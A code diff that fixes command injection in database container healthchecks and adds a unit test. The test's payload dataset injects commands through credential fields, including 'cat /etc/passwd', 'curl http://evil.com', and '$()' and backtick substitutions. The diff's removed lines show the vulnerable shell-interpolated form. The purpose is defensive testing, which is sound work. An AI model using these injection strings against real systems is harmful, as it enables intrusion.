diff --git a/app/Actions/Database/StartClickhouse.php b/app/Actions/Database/StartClickhouse.php index 393906b9b..30cae71f1 100644 --- a/app/Actions/Database/StartClickhouse.php +++ b/app/Actions/Database/StartClickhouse.php @@ -51,7 +51,7 @@ public function handle(StandaloneClickhouse $database) ], 'labels' => defaultDatabaseLabels($this->database)->toArray(), 'healthcheck' => [ - 'test' => "clickhouse-client --user {$this->database->clickhouse_admin_user} --password {$this->database->clickhouse_admin_password} --query 'SELECT 1'", + 'test' => ['CMD', 'clickhouse-client', '--user', (string) $this->database->clickhouse_admin_user, '--password', (string) $this->database->clickhouse_admin_password, '--query', 'SELECT 1'], 'interval' => '5s', 'timeout' => '5s', 'retries' => 10, diff --git a/app/Actions/Database/StartDragonfly.php b/app/Actions/Database/StartDragonfly.php index cd820523d..addc30be4 100644 --- a/app/Actions/Database/StartDragonfly.php +++ b/app/Actions/Database/StartDragonfly.php @@ -107,7 +107,7 @@ public function handle(StandaloneDragonfly $database) ], 'labels' => defaultDatabaseLabels($this->database)->toArray(), 'healthcheck' => [ - 'test' => "redis-cli -a {$this->database->dragonfly_password} ping", + 'test' => ['CMD', 'redis-cli', '-a', (string) $this->database->dragonfly_password, 'ping'], 'interval' => '5s', 'timeout' => '5s', 'retries' => 10, diff --git a/app/Actions/Database/StartKeydb.php b/app/Actions/Database/StartKeydb.php index ec09b7392..e59d6f697 100644 --- a/app/Actions/Database/StartKeydb.php +++ b/app/Actions/Database/StartKeydb.php @@ -109,7 +109,7 @@ public function handle(StandaloneKeydb $database) ], 'labels' => defaultDatabaseLabels($this->database)->toArray(), 'healthcheck' => [ - 'test' => "keydb-cli --pass {$this->database->keydb_password} ping", + 'test' => ['CMD', 'keydb-cli', '--pass', (string) $this->database->keydb_password, 'ping'], 'interval' => '5s', 'timeout' => '5s', 'retries' => 10, diff --git a/app/Actions/Database/StartPostgresql.php b/app/Actions/Database/StartPostgresql.php index 41e39c811..81cffeb94 100644 --- a/app/Actions/Database/StartPostgresql.php +++ b/app/Actions/Database/StartPostgresql.php @@ -111,10 +111,7 @@ public function handle(StandalonePostgresql $database) ], 'labels' => defaultDatabaseLabels($this->database)->toArray(), 'healthcheck' => [ - 'test' => [ - 'CMD-SHELL', - "psql -U {$this->database->postgres_user} -d {$this->database->postgres_db} -c 'SELECT 1' || exit 1", - ], + 'test' => ['CMD', 'psql', '-U', (string) $this->database->postgres_user, '-d', (string) $this->database->postgres_db, '-c', 'SELECT 1'], 'interval' => '5s', 'timeout' => '5s', 'retries' => 10, diff --git a/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php b/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php new file mode 100644 index 000000000..b8c2b8a5d --- /dev/null +++ b/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php @@ -0,0 +1,107 @@ + ['admin; id > /tmp/pwned; echo'], + 'command substitution $()' => ['admin$(id > /tmp/pwned)'], + 'backtick substitution' => ['admin`id > /tmp/pwned`'], + 'pipe operator' => ['admin | cat /etc/passwd'], + 'background operator' => ['admin & curl http://evil.com'], + 'output redirect' => ['admin > /tmp/evil.txt'], + 'newline injection' => ["admin\nid"], + 'null byte' => ["admin\0id"], +]); + +// ─── PostgreSQL ────────────────────────────────────────────────────────────── + +test('postgresql healthcheck uses CMD exec-form, not CMD-SHELL', function () { + $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartPostgresql.php'); + + expect($source)->not->toContain('CMD-SHELL'); + expect($source)->toContain("'CMD', 'psql'"); +}); + +test('postgresql healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) { + // Simulate what StartPostgresql now generates + $healthcheck = ['CMD', 'psql', '-U', $malicious, '-d', $malicious, '-c', 'SELECT 1']; + + expect($healthcheck[0])->toBe('CMD'); + expect($healthcheck[0])->not->toBe('CMD-SHELL'); + // Malicious value is isolated as a single argv element — no shell interprets it + expect($healthcheck)->toContain($malicious); + expect(is_array($healthcheck))->toBeTrue(); +})->with('malicious_db_inputs'); + +// ─── KeyDB ──────────────────────────────────────────────────────────────────── + +test('keydb healthcheck uses CMD exec-form, not a CMD-SHELL string', function () { + $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartKeydb.php'); + + expect($source)->not->toContain('CMD-SHELL'); + expect($source)->toContain("'CMD', 'keydb-cli'"); +}); + +test('keydb healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) { + $healthcheck = ['CMD', 'keydb-cli', '--pass', $malicious, 'ping']; + + expect($healthcheck[0])->toBe('CMD'); + expect($healthcheck)->toContain($malicious); + expect(is_array($healthcheck))->toBeTrue(); +})->with('malicious_db_inputs'); + +// ─── Dragonfly ──────────────────────────────────────────────────────────────── + +test('dragonfly healthcheck uses CMD exec-form, not a CMD-SHELL string', function () { + $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartDragonfly.php'); + + expect($source)->not->toContain('CMD-SHELL'); + expect($source)->toContain("'CMD', 'redis-cli'"); +}); + +test('dragonfly healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) { + $healthcheck = ['CMD', 'redis-cli', '-a', $malicious, 'ping']; + + expect($healthcheck[0])->toBe('CMD'); + expect($healthcheck)->toContain($malicious); + expect(is_array($healthcheck))->toBeTrue(); +})->with('malicious_db_inputs'); + +// ─── ClickHouse ─────────────────────────────────────────────────────────────── + +test('clickhouse healthcheck uses CMD exec-form, not a CMD-SHELL string', function () { + $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartClickhouse.php'); + + expect($source)->not->toContain('CMD-SHELL'); + expect($source)->toContain("'CMD', 'clickhouse-client'"); +}); + +test('clickhouse healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) { + $healthcheck = ['CMD', 'clickhouse-client', '--user', $malicious, '--password', $malicious, '--query', 'SELECT 1']; + + expect($healthcheck[0])->toBe('CMD'); + expect($healthcheck)->toContain($malicious); + expect(is_array($healthcheck))->toBeTrue(); +})->with('malicious_db_inputs'); + +// ─── Verify unaffected databases still use their safe patterns ──────────────── + +test('mysql healthcheck already uses CMD exec-form (no regression)', function () { + $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMysql.php'); + + // MySQL already used CMD array form — ensure it stays that way + expect($source)->toContain("'CMD', 'mysqladmin'"); +}); + +test('mariadb healthcheck uses safe fixed script (no regression)', function () { + $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMariadb.php'); + + expect($source)->toContain('healthcheck.sh'); + // Must not have gained any user-field interpolation + expect($source)->not->toMatch('/CMD-SHELL.*mariadb/i'); +});